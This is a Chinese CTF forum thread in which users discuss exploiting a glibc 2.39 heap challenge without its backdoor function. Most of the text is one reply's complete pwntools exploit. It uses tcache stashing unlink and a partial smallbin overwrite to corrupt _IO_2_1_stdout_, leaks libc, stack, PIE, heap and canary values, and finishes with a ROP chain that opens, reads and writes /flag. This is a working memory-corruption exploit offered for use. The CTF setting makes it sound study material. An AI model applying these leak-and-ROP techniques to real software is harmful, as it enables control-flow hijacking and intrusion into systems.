能力值:
( LV1,RANK:0 )
|
-
-
2 楼
吓哭了
|
能力值:
( LV2,RANK:10 )
|
-
-
3 楼
|
能力值:
( LV4,RANK:40 )
|
-
-
4 楼
我也做了一下,这个tcache_stashing_unlink确实优雅,但我在思考,这道题其实真正利用的难点是没有show,如果把这个backdoor给删除,还能实现劫持控制流的目的吗?我目前只能想到tcache_stashing_unlink的过程中是可以通过修改smallbin的bk低字节修改为_IO_2_1_stdout_附近的地址(我的想法是利用是stderr中的指针当fake_chunk->bk,这样就不需要通过largebin_attack了(因为bk_nextsize地址是指向自己而不是libc中的地址,没法修改低字节打到stdout),但是需要修改edit的逻辑,不再是读满size大小的字节,而是可以读部分字节),然后通过修改_IO_2_1_stdout_实现泄露libc地址(menu打印用的是puts),如果能做到这步,那么相当于我们有libc内任意地址读了,那就可以泄露environ来打return_address劫持控制流,不过这些都只是理论...太懒了不想动手试)不知道师傅有没有什么其他见解,或者我这个思路有什么明显不可行的部分吗)
最后于 3天前
被F0xm1ao编辑
,原因:
|
能力值:
( LV4,RANK:40 )
|
-
-
5 楼
F0xm1ao
我也做了一下,这个tcache_stashing_unlink确实优雅,但我在思考,这道题其实真正利用的难点是没有show,如果把这个backdoor给删除,还能实现劫持控制流的目的吗?我目前只能想到 ...
是可行的!我修改了一下源码里的read逻辑,从读满size改成了遇到"\n"停止

然后删除了backdoor函数,修改smallbin的低字节利用tcache_stashing_unlink打_IO_2_1_stdout_来实现show的等价逻辑,并且打environ能够get shell/打orw!

from pwn import *
context.terminal = ["wt.exe", "-w", "0", "split-pane", "bash", "-c"]
file_name = "./chall_patched"
libc_position = "/root/glibc-all-in-one/libs/2.39-0ubuntu8.6_amd64/libc.so.6"
remote_addr = ""
remote_port = ""
e = ELF(f"{file_name}")
context.binary = e
context.log_level = "debug"
if args.REMOTE:
p = remote(remote_addr, remote_port)
elif args.GDB:
gdbscript = """b *$rebase(0x13C9)"""
p = gdb.debug(file_name, gdbscript=gdbscript)
else:
p = process(file_name)
libc = ELF(f"{libc_position}")
sd = lambda a: p.send(a)
sl = lambda a: p.sendline(a)
rc = lambda a=4096: p.recv(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(a)
uu32 = lambda a: u32(a.ljust(4, b"\x00"))
uu64 = lambda a: u64(a.ljust(8, b"\x00"))
sh = lambda: p.interactive()
slog = lambda name, addr: log.success(f"{name} ==> {hex(addr)}")
def debug(cmd=""):
if not args.REMOTE:
gdb.attach(p, cmd)
pause()
def choice(a):
sl(str(a).encode())
def add(a, b):
choice(1)
ru(b"ex:")
sl(str(a).encode())
ru(b"ze:")
sl(str(b).encode())
def edit(a, b):
choice(2)
ru(b"ex:")
sl(str(a).encode())
sl(b)
def dell(a):
choice(3)
ru(b"ex:")
sl(str(a).encode())
def safe(a, b):
return b ^ (a >> 12)
for i in range(10):
add(i, 0x390)
add(40, 0x200)
add(41, 0x20)
edit(41, b"/flag\x00\x00\x00")
add(42, 0x200)
add(43, 0x20)
dell(42)
dell(40)
add(19, 0x20)
add(11, 0x390)
add(12, 0x20)
add(13, 0x390)
add(14, 0x20)
add(15, 0x390)
add(16, 0x20)
add(17, 0x390)
add(18, 0x20)
for i in range(3, 9):
dell(i)
dell(1)
dell(0)
dell(2)
dell(11)
dell(13)
dell(15)
dell(17)
dell(9)
add(10, 0x400)
add(3, 0x390)
add(4, 0x390)
edit(9, p64(0) + b"\x50\x45")
for i in range(5, 9):
add(i, 0x390)
add(1, 0x390)
add(30, 0x390)
add(31, 0x390)
edit(31, p64(0) * 12 + p64(0xFBAD1800) + p64(0) * 3 + b"\x00")
ru(b"es: ")
libc_base = uu64(rc(6)) - 0x204644
slog(b"libc", libc_base)
def leak_payload(a, b):
payload = (
p64(0) * 12
+ p64(0xFBAD1800)
+ p64(0) * 3
+ p64(a)
+ p64(a + b) * 2
+ p64(a)
+ p64(a + b)
)
return payload
environ = libc_base + libc.sym["_environ"]
edit(31, leak_payload(environ, 8))
ru(b"es: ")
stack = uu64(rc(6))
slog("stack", stack)
edit(31, leak_payload(stack - 0x980, 8))
ru(b"\x70\x79")
PIE_base = uu64(rc(6)) - 0x23AC
slog(b"PIE", PIE_base)
edit(31, leak_payload(PIE_base + 0x4060, 16))
rc(16)
heap_base = uu64(rc(6)) - 0x2A0
slog(b"heap", heap_base)
stack_chunk = heap_base + 0x26D0
sl(b"2")
sleep(0.1)
sl(b"40")
sleep(0.1)
sl(p64(safe(stack_chunk, stack - 0x198)))
slog("ret_addr", stack - 0x198)
sl(b"2")
sleep(0.1)
sl(b"31")
sleep(0.1)
sl(
p64(0) * 12
+ p64(0xFBAD1800)
+ p64(0) * 3
+ p64(stack - 0xA0)
+ p64(stack - 0xA0 + 0x10) * 2
)
ru(b"\x72\x20\x39")
canary = uu64(rc(8))
slog(b"canary", canary)
flag_addr = heap_base + 0x28F0
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]
pop_rdi = libc_base + 0x10F78B
pop_rsi_r15 = libc_base + 0x10F789
mov_dl_66 = libc_base + 0x1A22B1
buf = heap_base + 0x1110
orw = (
p64(0)
+ p64(pop_rdi)
+ p64(flag_addr)
+ p64(pop_rsi_r15)
+ p64(0)
+ p64(0)
+ p64(open_addr)
)
orw += (
p64(pop_rdi)
+ p64(3)
+ p64(pop_rsi_r15)
+ p64(buf)
+ p64(0)
+ p64(mov_dl_66)
+ p64(read_addr)
)
orw += (
p64(pop_rdi)
+ p64(1)
+ p64(pop_rsi_r15)
+ p64(buf)
+ p64(0)
+ p64(mov_dl_66)
+ p64(write_addr)
)
sl(b"2")
sleep(0.1)
sl(b"10")
sleep(0.1)
sl(orw)
orw_chunk = heap_base + 0x3AD0
sl(b"1")
sleep(0.1)
sl(b"50")
sleep(0.1)
sl(b"512")
sleep(0.1)
sl(b"1")
sleep(0.1)
sl(b"51")
sleep(0.1)
sl(b"512")
sl(b"2")
sleep(0.1)
sl(b"51")
sleep(0.1)
pause()
sl(p64(1) + p64(canary) + p64(orw_chunk) + p64(libc_base + 0x0299D2))
sh()
不利用backdoor也能劫持控制流 
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
F0xm1ao
F0xm1ao
我也做了一下,这个tcache_stashing_unlink确实优雅,但我在思考,这道题其实真正利用的难点是没有show,如果把这个back ...
师傅,我感觉你的这个思路确实非常棒,让我有了挺大的启发。
|
能力值:
( LV12,RANK:276 )
|
-
-
7 楼
巨佬
|
能力值:
( LV12,RANK:276 )
|
-
-
8 楼
pwn学得真好
|